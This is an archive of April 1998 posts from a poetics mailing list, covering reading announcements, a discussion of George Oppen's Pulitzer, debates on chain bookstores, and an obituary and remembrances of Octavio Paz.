1.)Kirin Narayan, anthropologist/novelist, author of _Storytellers, Saints & Scoundrels_ (U Penn), co-editor of _Creativity/Anthropology_ (Cornell), and a new collection of Hindi folktales from Oxford. Reading--Friday, April 24th, College of St. Catherine-Mpls, Room 250 (Old Main), noon Talk @ University of MN, 207 A Lind Hall, 3:15pm, also April 24th

2.) LitLink Festival panel on the State of Publishing, w/ Mikeil And, Allan Kornblum, Mark Nowak, Bill Truesdale, & others, Maria Damon moderator. Sunday, April 26th, Calhoun Square (also displays from dozens of small press publishers, reading stages, open mikes, etc.) 11:00am-4:00pm

3.) _Xcp no. 2_ publication reading, Saturday May 2nd, 7:00pm, Hungry Mind Bookstore (w/ Lise Erdrich McCloud, Diane Glancy, Chung Na Yei, Rita Chakrabarti, Carolyn Erler, & Mark Nowak

(also, Arthur Sze will be in town for the Rain Taxi reading series on Sunday, May 3d: time & location to follow).

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451. **Maria Damon**

Re: oy vey morpheal!

Sat 18 Apr 1998

---

wow this is heavy. thanks for letting us (we who didn't know, or knew but forgot) know about it.

At 11:14 AM -0400 4/18/98, JBCM2 wrote:
>In a message dated 98-04-18 00:19:45 EDT, you write:

>
><<
> 8)I'm also thinking of the Christic (sp?) Institute's legal challenge to
> the CIA, I hope I'm not getting this wrong, which was the means by which
> many people learned of it's involvement in the drug trade. They never
> won that case but the newspaper coverage of something that would have
> otherwise been ignored was absolutely worth their work.
> >>
>
>rachael, you're certainly right on about the Christic Institute's attempt to
>expose a continuing criminal operation/conspiracy perpetrated by former &
>current cia operatives. not only does it document the drug trafficking
>sanctioned by these operatives, the complaint also points out the earlier
>activities of these same operatives in southeast asia, the middle east, africa
>and central america -- very bloody activities. when carlo parcelli, rosalie
>gancie and myself were producing Print News Report, a weekly alternative news
>program on public access chanels (washington, dc & northern va) we read the
>entire complaint, all 300 pages, verbatim. unfortunately the Christic
>Institute paid a heavy price for this action; several days before the
>complaint was to be heard in the federal courts, judge king dismissed the
>complaint and ordered the Christic Institute to pay the legal fees of these
>operatives, which totaled more than a million dollars. unable to do so the
>institute went out of existence.
>
>
>joe brennan

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452. **Maria Damon**

Re: Mpls. events

Sat 18 Apr 1998

---

minor amendment: the talk at the U of MN will be at 3:00, rather than at 3:15.

At 1:41 PM -0500 4/18/98, Mark Nowak wrote:
>Upcoming _Xcp/Cross Cultural Poetics_ & related events in Mpls:
>
>1.)Kirin Narayan, anthropologist/novelist, author of _Storytellers, Saints
>& Scoundrels_ (U Penn), co-editor of _Creativity/Anthropology_ (Cornell),
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>2.) LitLink Festival panel on the State of Publishing, w/ Mikeil And, Allan
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>Sunday, April 26th, Calhoun Square (also displays from dozens of small
>press publishers, reading stages, open mikes, etc.) 11:00am-4:00pm
>
>3.) _Xcp no. 2_ publication reading, Saturday May 2nd, 7:00pm, Hungry Mind
>Bookstore (w/ Lise Erdrich McCloud, Diane Glancy, Chung Na Yei, Rita
>Chakrabarti, Carolyn Erler, & Mark Nowak
>
>(also, Arthur Sze will be in town for the Rain Taxi reading series on
>Sunday, May 3d: time & location to follow).

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453. Dan or Orion Raphael Dlugonski

Re: bookstore sagas

Sat 18 Apr 1998

Although a micro press publisher as well as a poet, here in Portland (with great independent bookstores like Powells, Looking Glass & Boradway), i have an ongoing relationship with one of the local Borders. i should say that i also consider myself in the progressive-radical range in politics, as well as a strong union supporter. but about 3 years ago when the first borders came to town, a person from the store came up to me at local book fair, where we both had tables (well, they had several tables, i had a 1/2), and said i'd been pointed out as a person who has organized readings. while porland has tons of writers/poets, there arent many venues for reading--3-5 (changing every couple months) regular open readings; occasional 1-3 person readings at above mentioned bookstores; & the ocaisonal traveling poet at one of the local schools. as a reader and reading organizer i like the 3 at 15 minutes each format. the readings are generally great, almost always local, averages around 18 people. i continually get flack for working with borders. i figure theyre the ones giving in this without getting much back (dont know how big a pr impact these readings, or any local poetry, could have), other than some stolen books. readers geta place to read around triple the standard open reading slot, get an attentive audience & a small gift certificate. who's co-opting whom. and relating to anothe entry on this topic, the people i deal with at borders are nice folks, if not always totally present, but ive never encountered any rudeness or paranoia.

dan raphael

↑ Index

454. **Steve Shoemaker**
George Oppen wins Pulitzer
Sun 19 Apr 1998

Mention of the Pulitzer makes me think of something I've always wondered about--anyone know how the hell George Oppen managed to win one back in the sixties? Just seems so unlikely--but then, it was the sixties. s

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455. **MAYHEW**
Bookstore sagas
Sun 19 Apr 1998

I should clarify that this lawsuit is brought by the ABA; it is not one local bookstore against the chains. And it is quite possible that some of their practices ARE illegal. Antitrust is a quite complicated area of the law. So I will await the results with a great deal of interest. It may be quixotic but I wouldn't term it "ludicrous."

(I believe it is the American Booksellers Association; various ind. stores in diff. locations are joining in)

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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456. **Rachel Levitsky**
Re: oy vey morpheal!
Sun 19 Apr 1998

>
> Big fish eat little fish. And AIDS and cancer kill. Still, we on the losing end who have some
style like to have some say how we will die. Which for some means
giving on over to the doctor, for others blue crystals and for others
still it is screaming like hell so the silence doesn't get us before the
killer cells do.
>
> That is all there is to it.
> Now, is that so so.
> --RDL

↑ Index

457. **Hugh Steinberg**

Re: George Oppen wins Pulitzer

Sun 19 Apr 1998

Steve Shoemaker writes:

> *Mention of the Pulitzer makes me think of something I've always wondered about--anyone know how the hell George Oppen managed to win one back in the sixties? Just seems so unlikely--but then, it was the sixties.*

The list of writers who did or did not get Pulitzers is an interesting (or disheartening) one. Among the non-winners are: T.S. Eliot, Ezra Pound, Louis Zukovsky, Langston Hughes, Adrienne Rich, C.K. Williams, Allen Ginsberg, Robert Creeley, Robert Duncan, Denise Levertov, Mark Strand and lots of others. A biography of Louise Bogan has won a Pulitzer, Bogan has not. On the other hand such giants as Audrey Wurdemann, Mark Van Doren, Leonard Bacon, Peter Viereck, & Phyllis McGinley have won (the 20's through the 40's are particularly lean years as far as good choices made by the selection committee). Since 1922, only three African-Americans have won, no other writers of color have ever won a Pulitzer prize in poetry. About 77% of the winners are male.

The list of winners is quintessentially mainstream (I think that's the role of the Pulitzer, to valorize the mainstream). A number of recipients have a sort of "wait your turn" feel to them, a twenty to thirty year gap between achievement and recognition, such as William Carlos Williams in 1963, Wallace Stevens in 1955 and Marianne Moore in 1952. I think Oppen winning in 1969 falls under this rule (and also because _Of Being Numerous_ is a darn good book). My hunch is this wait your turn rule applies to Charles Wright and most of the other winners in the nineties (such as James Tate and Philip Levine), much of whose work defined the mainstream of the seventies. Creeley, Strand and Rich are probably all due within the next few years, especially if they release books of collected poems. And who knows, maybe the collected poems of Susan Howe or Michael Palmer will win the Pulitzer in 2010 (which is possible if the mainstream moves in their direction). It's a dead certainty however that the collected works of Robert Hass will win a Pulitzer long before they do.

Personally, I don't lose much sleep over who wins or doesn't win Pulitzer prizes, any more than I'm going to buy an album because it won a Grammy.

Hugh Steinberg

↑ Index

458. **Stephen Cope**
Re: George Oppen wins Pulitzer
Sun 19 Apr 1998

This is a good question which I should, though don't, have a good answer for. There is little in the letters to suggest that Oppen actively sought the award (indeed, he seems fairly ambivalent about it). Anyone know who might have been responsible?

Stephen Cope

RE:

> *Mention of the Pulitzer makes me think of something I've always wondered about--anyone know how the hell George Oppen managed to win one back in the sixties? Just seems so unlikely--but then, it was the sixties. s*

↑ Index

459. **morpheal**
Re: oy vey morpheal!
Sun 19 Apr 1998

>> Big fish eat little fish. And AIDS and cancer kill. Still, we on the losing >end who have some
>style like to have some say how we will die. Which for some means
>giving on over to the doctor, for others blue crystals and for others
>still it is screaming like hell so the silence doesn't get us before the
>killer cells do.
>
>That is all there is to it.
>Now, is that so so.
>--RDL

Do we ever really get to say how we shall live ?

Or with whom ?

Now that is an even more painful cry for some freedom _to_ rather than freedom _from_.

It is so easy for others to set one free from almost all that one loves. Then they call themselves saviours and pat one another upon their shoulders as though they have all done good.

M.

↑ Index

460. **Billy Little**
Re: oy vey
Sun 19 Apr 1998

you poor sad man loving slavery, resignation, acquiescence, collaboration, ask your mother to open the door and let you out, there's a world beyond the computer screen and you know what if you put these tiny little seeds in the dirt sometimes flowers come out and melons, never platitudes, take some time out to read a book, i recommend toni morrison's paradise, her best yet, maybe you'll have some new ideas and give us a chance to discuss poetics

↑ Index

461. **Burt Kimmelman**
Re: George Oppen wins Pulitzer
Sun 19 Apr 1998

Louis Simpson was the judge responsible for Oppen's Pulitzer--that is, as far as I know, based on a breakfast conversation with Simpson and Armand Schwerner who would know more about this. Armand?

↑ Index

462. **morpheal**
Re: oy vey
Sun 19 Apr 1998

> *you poor sad man loving slavery, resignation, acquiescence, collaboration,*

I have met many who are exactly that, and would never want it any different. It is alright if they are truly happy being that. Then do not disturb them, is perhaps as good an option as any. As for me, I agree, as to the recoil in abject horror from such dismal circumstances becoming the given or the chosen lot in life. Worse if it is the sum and average of the given to.

Then again, some kinds of committed relation, and enthusiastic involvement, courageous communicative interaction, and collaborations, are to be hoped for, wanted, sought after, invited, responded to,.... Of course one person's slavery is in fact another person's freedom, is something we must keep in mind. That has to do with trading some of one's so called freedom for the sake of having something else that oneself truly wants to have, even if that is a loving relationship with a specific other human being. Though that fact of human existence, of human lives, goes too often without saying. In that too there is individuality, and potentially, freedom of association, freedom of communicative interaction, freedom of personal expression, and so the relation then is in some ways poetic, but invariably something has to be sacrificed for the sake of that having. Exactly

what is sacrificed, and how much is sacrificed, is variable, as to different situations. That is itself slavery, and oppressive, only if what is gained is not wanted, or the sacrifice does not achieve its purpose. Then it is sad sacrifice without celebrations.

Anyway, in my approximately 42nd year, a few years ago I wrote this poem about something somewhat related to what Billy Little refers to:

WE'VE GOT CLASS

Today they draped another
pauper's coffin
with a dollar bill,
and there was a silent salute
for another victim
of money forbid.

The wealthy save
their own bodies
for this life,
too often telling the poor
to save their souls
for the afterlife.

Those in between
supposed to make coffins,
print dollar bills,
serve the wealthy,
give to the poor,
and preach sermons.

From: "Before and After"
---------- By: Bob Ezergailis

↑ Index

463. **Rachel Levitsky**
Re: underdog wins
Sun 19 Apr 1998

Thanks Joe for the memory refresher. Yes I now recall this and that the case actually planted a seed of hope that some truth might be set on the record. The sad outcome doesn't negate the importance of the work. The history of struggle is a history of mainly losses and that occasional win that makes all the rest possible. The successful, though not victimless (deaths and beatings of activists, plus three still in jail--on AMNESTY's prisoner of conscience list) blockage by

the people Tepotzlan, Mexico, 1995, of the construction of a Jack Nicklaus golf course that would have destroyed their entire eco system. Or that George Oppen did get the Pulitzer. Or UNITE's exposure of child labor in a GAP factory in El Salvador. Or _Howl_. --RDL

JBCM2 wrote:
>
> In a message dated 98-04-18 00:19:45 EDT, you write:
>
> <<
> 8)I'm also thinking of the Christic (sp?) Institute's legal challenge to
> the CIA, I hope I'm not getting this wrong, which was the means by which
> many people learned of it's involvement in the drug trade. They never
> won that case but the newspaper coverage of something that would have
> otherwise been ignored was absolutely worth their work.
> >>
>
> rachael, you're certainly right on about the Christic Institute's attempt to
> expose a continuing criminal operation/conspiracy perpetrated by former &
> current cia operatives. not only does it document the drug trafficking
> sanctioned by these operatives, the complaint also points out the earlier
> activities of these same operatives in southeast asia, the middle east, africa
> and central america -- very bloody activities. when carlo parcelli, rosalie
> gancie and myself were producing Print News Report, a weekly alternative news
> program on public access chanels (washington, dc & northern va) we read the
> entire complaint, all 300 pages, verbatim. unfortunately the Christic
> Institute paid a heavy price for this action; several days before the
> complaint was to be heard in the federal courts, judge king dismissed the
> complaint and ordered the Christic Institute to pay the legal fees of these
> operatives, which totaled more than a million dollars. unable to do so the
> institute went out of existence.
>
> joe brennan

↑ Index

464. **Martin Spinelli**

oy

Sun 19 Apr 1998

A Wanton Elegy

Marxists! Oh Messiah! treading their failed steps on the
other side of the free market when they see you coming
Or should we just buy more guns, 'cause consuming and
defensiveness are always the next best things
Reasoning's spirit was seen with Elvis at the 7-11, they were
reading each other questions from the Cosmo democracy quiz
Posturing, or is it "preening," for peanuts--ten bad analogies
wins you a free Enterprise Decoder Ring--don't tell sis!
Home-spun hyperbole just like mamma used to make with
confidence smelling like those ooey-gooey chocolate chips
Economics lessons for adolescents stain the windows like a 50
percent gas and oil mix
A fact is a fact is a fact, "fact" in fact makes it so, just
ask your anchorman when thinking tires
Legal eagling may free your mind but who do you think
really wants deregualtion, it ain't the little fishies

Literally,

Martin

_____

Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

↑ Index

465. **michael corbin**
Re: bookstore sagas
Sun 19 Apr 1998

---

late to this:

I think someone mentioned warehouses. They are a particular kind of tyranny. In the calculus of 'production' and 'distribution'. there are 'independent' book-sellers that cannot obtain escape velocity from Ingram, Baker & Taylor, Koen etc. Can't get that publisher discount so you play the time and usury game with the wholesaler. the chains know its all about margin not the fucking books yous selling/.

And then the remainder houses play an interesting game. better than pulping those books I guess. but no returning those remainders. Used seller marks *up* the 'remainder'.

Amazon has operated at a loss since its inception. What bookseller could do that? I been trying to operate at a loss for years. I gave up having a 'check-book'. But they don't take my loss at the grocery store. Gotta have the right specie. I don't even try that shit with my landlord. cash-money.

I-S-B-N

group identifier (i.e., 0=NorthAmerica)-Publisher Identifier (the so-called 'vendor' number)-title identifer (or 'edition' identity)-single digit check (an interesting truth value quotient of the first nine digits).

Poems for the Millennium II= 0-5202-0864-1

hAS anyone read 0-226-10672-1? bookstore sagas?

fugitive publication w/o a ISBN often gets a SKU. (a stock keeping unit)

barcodes= three types: UPC-A (12-digit), UPC-E (6-digit) massy-markets etc. gets E's., and bookland EAN (Not just an Universal Product Code, but a European Article Number.) Sometimes you get EAN's that are ISBN's and somethimes yous gets EAN's that more: EAN_8's and EAN_13's. but them folks ain't americans anyway.

mc

↑ Index

466. **Kenneth Goldsmith**

UbuWeb Visual, Concrete, & Sound Poetry: April 1998 Updates

Sun 19 Apr 1998

U B U W E B : VISUAL, CONCRETE, & SOUND POETRY

http://www.ubu.com

APRIL 1998 UPDATES

+ +

HISTORICAL:

Augusto de Campos, Brazil, PDF files and New Animations

Decio Pignitari, Brazil, Organismo Animation (1960)

SOUND :

Jaap Blonk, Holland, "Flux de Bouche"

Lars-Gunnar Bodin, Sweden

Augusto de Campos, Brazil "Sound Poems 1956-1974"

Ilmar Laaban, Sweden

Sten Hanson, Sweden

Ake Hodell, Sweden

Bengt Emil Johnson, Sweden

Edwin Torres, USA, "Holy Kid"

CONTEMPORARY:

Laurel Beckman, USA "Polysemous Unit Hovering Over Love & Respect"

Craig Dworkin, USA, "Soundpoem (for Tom Raworth)"

Elson Froes, Brazil "Animations"

Neil Hennessy, Canada, "vOw(h)e(e)ls 1 & 2"

Bill Luoma, USA, "New Visual Poems"

William Marsh, USA, "4 c's in Season"

Juliet Ann Martin, USA, "oooxxxooo"

Brian Stefans, USA, "New Visual Poems"

Irving Weiss, USA, "New Visual Poems"

Darren Wershler-Henry, Canada, "Grain: a prairie poem"

Doc Wright, Australia, "Nixon"

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Ivo Vroom
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Pedro Xisto
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Komninos Zervos
Janet Zweig

REAL AUDIO SOUND POETRY

Guillaume Apollinaire
Jaap Blonk
Lars-Gunnar Bodin
William S. Burroughs
John Cage
Henri Chopin
Jean Cocteau
Augusto de Campos
Marcel Duchamp
Brion Gysin

Sten Hanson
Ake Hodell
Bengt Emil Johnson
Ilmar Laaban
Wyndham Lewis
Jackson Mac Low
F.T. Marinetti
David Moss
Kurt Schwitters
Cecil Taylor
Edwin Torres
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P A P E R S

Laurel Beckman
Sergio Bessa
Roland Greene
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Clemente Padin
Charles A. Perrone
Ward Tietz

F O U N D / I N S A N E

The Orion Series
The Free Jack Ads Series
Assorted Found/Insane Poems

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U B U W E B : VISUAL, CONCRETE, & SOUND POETRY

http://www.ubu.com

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467. **Aaron Vidaver**
Speaking of George Oppen
Mon 20 Apr 1998

My copy of the video recording of the 1983 George Oppen Tribute arrived here (in Vancouver) last week, after being manhandled and taxed by customs agents. What a disappointment! I have the sense that the tape must have cut-out mid-way, after Burton Hatlen. Neither the recordings played nor the projected

images come through. And it's hard to believe it was only an hour long. Was anyone here (on this list) there? What really puzzles me is the emotional ambiguity of the speakers. There's a weird coldness throughout.

And a related matter. I've been brooding over a remark in one of Oppen's letters to Robert Duncan. It's the part where he says, "a landscape appears between our extremes." Has anyone written on the topic? Sketched that landscape?

Aaron Vidaver

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468. **Jim Andrews**
V I S P O ~ L A N G U (I M) A G E
Mon 20 Apr 1998

> *At V I S P O, you'll find my work in graphical, animated, pop-up, and other poetry, short*
> *story/poem morphs, essays on technologies of the word and Web art, intriguing visual work by Ted*
> *Warnell (Poems By Nari) and Nico Vassilakis, links to Mocambopo, a literary venue in Victoria*
> *B.C., and a fine collection of literary links.*

If you have not visited it, I doubt that you will have read/seen anything like it.

The most recent piece at V I S P O, "The Pen," is in Gallery Ã2 at http://www.speakeasy.org/~jandrews/vispo/jimvisp1_1.htm. "The Pen" traces through eight graphics and the letters P O E M a visual lyricism mentioned by Apollinaire but quite different from concrete.

The site is my 'book,' is the centre of my writing.

Regards,
Jim Andrews
--
V I S P O ~ L A N G U (I M) A G E
The main door: http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

469. **rsillima**
Octavio Paz
Mon 20 Apr 1998

From today's NY Times,
April 20, 1998

Octavio Paz, Mexico's Foremost Poet, Dies at 84

By THE ASSOCIATED PRESS

MEXICO CITY -- Octavio Paz, Mexico's foremost literary figure and the winner of a Nobel Prize for poetry and essays mapping the labyrinths of the Mexican mind, has died. He was 84.

Mexican President Ernesto Zedillo announced Paz's death early Monday aboard his airplane while returning from the Summit of the Americas in Chile, Mexican news media reported. Zedillo did not give a cause of death or say when the author died.

Soft-spoken and at times aloof, Paz could be harsh. But he was so precise and clear that he changed the very way Mexicans express themselves.

Like most Mexican writers, Paz was preoccupied with his country's many paradoxes and contradictions, the contrasts between its ancient Indian past and a more recent Spanish heritage. That combination has given rise to a culture often baffling even to Mexicans.

Even Mexican novelist Carlos Fuentes -- a rival who was one of Paz's sharpest critics -- conceded that Paz has "forever changed the face of Mexican literature."

Phones rang unanswered early Monday at Paz's home. At the prestigious literary magazine Vuelta, which Paz founded, a security guard said he hadn't heard the news and that no one was available to confirm it.

In 1982, Paz won the Miguel Cervantes Prize, Spain's most prestigious award. In 1987, he took the T.S. Eliot Award in Chicago. Three years later, he captured the Nobel Prize for literature.

Paz still is best known for two of his earlier works: the book-length essay "The Labyrinth of Solitude" and the poem "Sun Stone."

"Labyrinth," published in 1950, described Mexican history as a search -- "for our own selves, deformed or masked by strange institutions," he later explained to a friend. Many friends stopped speaking to him after the book's publication.

"Sun Stone" was a harsh critique of what he said was a proud apathy common among Mexicans. Again, many colleagues reacted with shock, but he picked up a number of fans as well.

Paz considered poetry the most noble form of literature. "Poetry comes from the very depths of one's being. It corresponds to experiences that are more profound" than prose, he told the Spanish literary magazine La Vanguardia in 1987.

"Good prose is invisible," he said. "In poetry, it is not. In a poem, each word carries weight."

The clarity of his writing inspired many other authors to abandon the convoluted style long common in Mexico.

Paz was born on March 31, 1914, and grew up on the edge of Mexico City. His grandfather, a strongly anti-clerical army general, playwright, lawyer, journalist and sometime revolutionary was an ally of dictator Porfirio Diaz.

Paz's father and namesake, who called himself an anarco-socialist, was secretary to Emiliano Zapata, a peasant leader of Mexico's 1910-1920 revolution. He later became the diplomatic representative of Zapata's revolutionary forces in Washington.

When Zapata was murdered in 1919, the Paz family went into brief exile in Los Angeles.

Back in Mexico, the family fell on hard times. When Paz was a teen-ager, the family was selling pieces of furniture -- and then the entire house -- to make ends meet.

Paz published his first poem when he was 16 and his first essay a year later. He later went to law school at Mexico City's National Autonomous University, where he joined a Marxist student group. He married a young writer, Elena Garro, and continued to write poems.

In his early 20s, Paz sent a manuscript to the late Chilean poet Pablo Neruda, who also would go on to win a Nobel Prize. Neruda was so impressed with Paz that he wrote a favorable review and suggested the young Mexican go to a congress of anti-fascist writers in Spain.

In Madrid, Paz met other leftist writers including Andre Malraux, Andre Gide, Stephen Spender, Antonio Machado and the Soviet propagandist Ilya Ehrenburg.

Paz stayed in Spain after the congress and joined the leftist-dominated Republican forces fighting rightist Gen. Francisco Franco. He insisted on going to the front.

He was sent to a brigade commanded by a Mexican painter David Alfaro Siqueiros but was never given a rifle and, apparently because some doubted his leftist credentials, was sent back to Mexico on a vague mission "to divulge the Spanish cause."

After returning to Mexico City, he later accepted a scholarship to study at the University of California, Berkeley, and worked in New York translating Hollywood scripts into Spanish.

A diplomat impressed with his writing in the Mexican magazine Manana offered him a job as cultural attache to the embassy in Paris in 1946. He went on to work in the diplomatic service in Japan and the United States.

In 1968, Paz resigned as ambassador to India when troops quashed student protests in Mexico City's Tlatelolco Square, killing hundreds of people.

"It would be difficult to represent a government under these circumstances," he told reporters in New Delhi.

Paz had frequent disagreements with the leftist movement, equating Cuban President Fidel Castro with right-wing Chilean dictator Augusto Pinochet and calling Nicaragua's leftist Sandinista revolution inconsequential.

But he also was a fierce critic of the government, denouncing the long- ruling Institutional Revolutionary Party as corrupt and distanced from the Mexican people.

Paz's marriage to Elena Garro ended angrily after two decades, and in 1966 he married Marie-Jose Tramini.

In 1976, Paz founded Vuelta, which would become one of Latin America's most prestigious literary magazines. He remained the magazine's director.

Paz lived in a spacious and quiet apartment in a high-rise off one of Mexico City's busiest avenues, surrounded by thousands of books, mementos, pre-Columbian ceramics and art objects. Despite the pollution and noise, Paz refused to seek calmer surroundings in the suburbs.

"I'm Mexican," he said. "I have to live like the Mexicans. I adore my city. ... It was beautiful, and it's going to be beautiful again someday."

↑ Index

470. Robert Archambeau

Re: Has anyone heard of this magazine...

Mon 20 Apr 1998

Thanks to everyone who replied to my post, backchannel & otherwise.

For those of you who were wondering, it turns out Merritt Clifton edited a quarterly magazine called "Samisdat" (with an s, not a z) from 1973-1990, and also published books and chapbooks under the imprint "Samisdat Associates" -- some of these are still available.

Fortunately, Merritt tells me that he has no problem with the title "Samizdat" (with a z, not an s) being used for a new journal with which I'm involved. First issue in August, several listees to be included. More info later, and my thanks to those who helped me track Merritt Clifton down in the wilds of Washington State.

Bob

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

471. Burt Hatlen
Re: Speaking of George Oppen
Mon 20 Apr 1998

I was there. There were tributes by me, Rachel Blau DuPlessis, Jerome Rothenberg--all printed in Sagetrieb 3.1 (Spring 1984). Also, as I recall by Michael Palmer--anyway I remember him being there. Perhaps also by Michael Davidson? Perhaps some people simply read a poem. I don't know about the tone of the occasion. George came in with Mary, sat in the back, said nothing. I think we were all a little uncertain about what that meant.

Burt Hatlen

↑ Index

472. Douglas
Re: kanji
Mon 20 Apr 1998

John,

If I understand correctly, you and Yang Lian will be reading on 21st or 22nd of May in San Diego. Could you possibly come up to Los Angeles on that Sunday morning. Because then we could have a late (4:00) salon, and you could meet the sizeable poetic community of LA. And I'd take you two to dinner...etc. I would be able to find a bed for the two of you, or put you up at a local hotel, near my offices. Otherwise, the next weekend might also be available, although being a holiday, it might be more difficult. I do want to see Yang.

Douglas

John Cayley wrote:
>
> On the Mac, it is not enough just to set document encoding to one of the

> Japanese standards in your browser, you must also have at least one
> Japanese font installed on your system and also the latest Worldscript
> extensions and also (I think, although maybe the font and worldscript are
> enough) the 'Japanese Language Kit' (you'd definitely need the latter for
> *inputting/editing* Japanese.
>
> The situation is basically the same for Chinese (excepty you need Chinese
> fonts, etc.) on the Mac, which is where I have direct experience.
>
> I am not so clear about how Wintel copes.
>
> Bests,
>
> - >
> John Cayley / Wellsweep Press http://www.demon.co.uk/eastfield/
> 1 Grove End House 150 Highgate Road London NW5 1PD UK
> Tel & Fax: ([redacted] Email: [redacted]
> < -

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473. Rachel Blau DuPlessis
Re: Speaking of George Oppen
Mon 20 Apr 1998

I was at the Oppen tribute and spoke; there was a kind of heightened feeling. Not coldness. Photographs of his poems made into slides (by Charles Amirkanian I think) were projected on the white wall. Gave it a kind of "meeting" feel as in Quaker meeting--austere, noble, and poignant. George was pretty far along with Alzheimer's and he was (probably) not a full listener or full player at this event. If there's more to say after I keep reading the posts I will try to say it. Rachel (Blau DuPlessis)

↑ Index

474. Gary Sullivan
Drucker, Rodefer, etc. Reading
Mon 20 Apr 1998

FREE READING IN NYC

Johanna Drucker
Stephen Rodefer
Gary Sullivan

Lewis Warsh
Thad Ziolkowski

will read at 6:00 p.m. this Thursday, April 23

at Kenny Schachter Gallery
534 La Guardia
New York, NY
[redacted]

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475. Poetics List Administration

Brit visiting Cleveland Ohio and NY seeks gigs (fwd)

Mon 20 Apr 1998

The Poetics Office was closed over the weekend. This arrived here by mistake. Sorry if it was already posted to the list...

---------- Forwarded message ----------
Date: Fri, 17 Apr 1998 16:34:51 +0000
From: Alaric Sumner <[redacted]>
To: [redacted]
Subject: Brit visiting Cleveland Ohio and NY seeks gigs

TO THE POETICS LIST

An excruciating british distaste for self promotion.

Shameless.

Necessary.

I am a lecturer on the PERFORMANCE WRITING degree course at Dartington College of Arts in Devon, UK (Subject Director: Caroline Bergvall). I am visiting the US to present a performance of The Unspeakable Rooms at the CLEVELAND PERFORMANCE ART FESTIVAL on 20th May. Rory McDermott (movement/voice) has devised an event from my text using video, audio tape and live performance which has been funded by the Arts Council of England and which will tour in Britain in the Fall.

I am seeking gigs to talk to people who want to know more about the Performance Writing course, in particular potential undergraduate students, students considering joining the postgraduate taught courses planned for 1999, students considering applying to do research at Dartington. These would not be formal information sessions organised by the college, but chats from my perspective as a member of staff.

I am also seeking poetry reading gigs. I was resident writer at the TATE GALLERY in ST IVES, CORNWALL (book: Waves on Porthmeor Beach (illustrated by Sandra Blow RA), a diary of precise descriptions of the waves on the beach during the six months combined with brief image poems and texts discussing the process of writing and the nature of the collaboration with Sandra Blow). My performance piece for 9 voices speaking at the same time (Voices (for 9)) was performed at the Royal Court in London in 1994. Other works have been presented at the Tate St Ives, Dartington Arts, Ferens Gallery in Hull, at the Edinburgh Fringe etc etc. I edit/publish words worth language arts (writers include: Carlyle Reedy, C Bergvall, J Mac Low, Mac Wellman, H Chopin, dsh, Ken Edwards, cris cheek, Ernst Jandl etc). I have edited a section of PERFORMING ARTS JOURNAL on Performance Writing which should be coming out fairly soon. Publishers: Stride, Spectacular Diseases, Lobby, Talus, RWC, SubVoicive, Arts Council etc.

I am in the States for only a week or two but I would appreciate any suggestions/offers. Texts can be emailed to any who want to see the sort of stuff I write. It ranges from multi-voice work aiming at the condition of music through the overlapping of many speaking voices and texts without apparent coherence or meaning to comparatively coherent and comprehensible poems and patches of prose.

backchannel on [redacted]

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476. Susan Wheeler
Reading in PA
Mon 20 Apr 1998

For anyone near Harrisburg, Camp Hill etc. this week --

Susan Wheeler
Public Reading & Reception
Thursday, April 23, 8:00 p.m.
Messiah College, Grentham PA
for specific location: [redacted]

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

477. **Douglas Barbour**

Re: Octavio Paz dies

Mon 20 Apr 1998

On the CBC as I read: the death of Octavio Paz, another great one gone. At least, Canada's national radio notices, with a major story on what he meant & stood for.

Too many such losses these years, yet they are to be expected. I remember how long ago I first read _Sunstone_, that amazing book (& another New Directions gift to us all). And the essays, too.

My colleague, Bert Almon, did some translations: here's one:

RHETORIC

Octavio Paz

1

The birds sing, and sing
not knowing what they sing:
they know only their throats.

2

Form that adjusts itself to movement
is not thought's fetter but its skin.

3

Clarity of crystal
isn't clear enough for me:
clear water is running water.

trans. Bert Almon, Seneca Review IV.1 (May 1973)

We mourn. And we write on...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

This is the year the old ones,
the old great ones
leave us alone on the road.
Denise Levertov

↑ Index

478. Jordan Davis
bkstrs for tom orange
Mon 20 Apr 1998

Tom -- been hiding in the flmth dump -- distributing my work by the logic of peepers -- some advices re: new york bookstores -- east village books (101 st marks) is good for paperback fiction but otherwise overpriced -- tompkins sq books on 7th btw 1 & a a lot better -- dishevel thy hair! -- marcella's right re: mercer, (mercer btw bleecker & houston) worth looking into for poetry -- bookstore row (18th btw 5 & 6) is kinda thin now but academy and skyline usually have two or three good books -- some people like alabaster (around the corner from the strand, 4th ave btw 12 & 13) -- the argosy is worth a touristy trip (58th or 59th betw 5 & park) but not for recent stuff -- overpriced but terrific is pomander (by appt only) say hi to Suzanne Zavrian for me if you go uptown -- if you do go uptown there's Ideal (110 betw bway & amsterdam) and (not used) Labyrinth (112 btw bwy & amst) and there used to be one called No Real Specialty (amst (btw 118 & 119) but they've probably changed into something less interesting -- tho I did pick up a Grove Press version of the Sonnets there for four bucks once -- anyway am jotting preciously because back at work and needing to work -- more complete listings somewhere at www.papermag.com (look for the bookstore guide) -- the real place to go for used books is Cambridge MA (SF CA was about like NY when I stopped thru -- haven't yet regretted not getting the Muqaddimah) -- and the noplace to go of course is www.bibliofind.com -- hey drop me a line and let me know when you're due in town, they let me out for lunch now and again -- all best -- Jordan

↑ Index

479. Billy Little
Re: Octavio Paz dies
Mon 20 Apr 1998

Poetry does not attempt to discover what there is at the end of the road; it conceives of the text as a series of transparent strata within which the various parts--the different verbal and semantic currents--produce momentary configurations as they intertwine or break apart as they reflect each other or efface each other. Poetry contemplates itself, fuses with itself, and obliterates itself in

the crystallizations of language. Apparitions, metamorphoses, volatilizations, precipitations of presences. These configurations are crystallized time: although they are perpetually in motion, they always point to the same hour--the hour of change. Each one of them contains all the others, each one is inside the others: change is only the oft-repeated and ever different metaphor of identity. The vision of poetry is that of the convergence of every point. The end of the road.
Octavio Paz The Monkey Grammarian

↑ Index

480. Alaric Sumner

Alaric Sumner visiting Cleveland Ohio and NY seeks gigs

Mon 20 Apr 1998

An excruciating british distaste for self promotion.

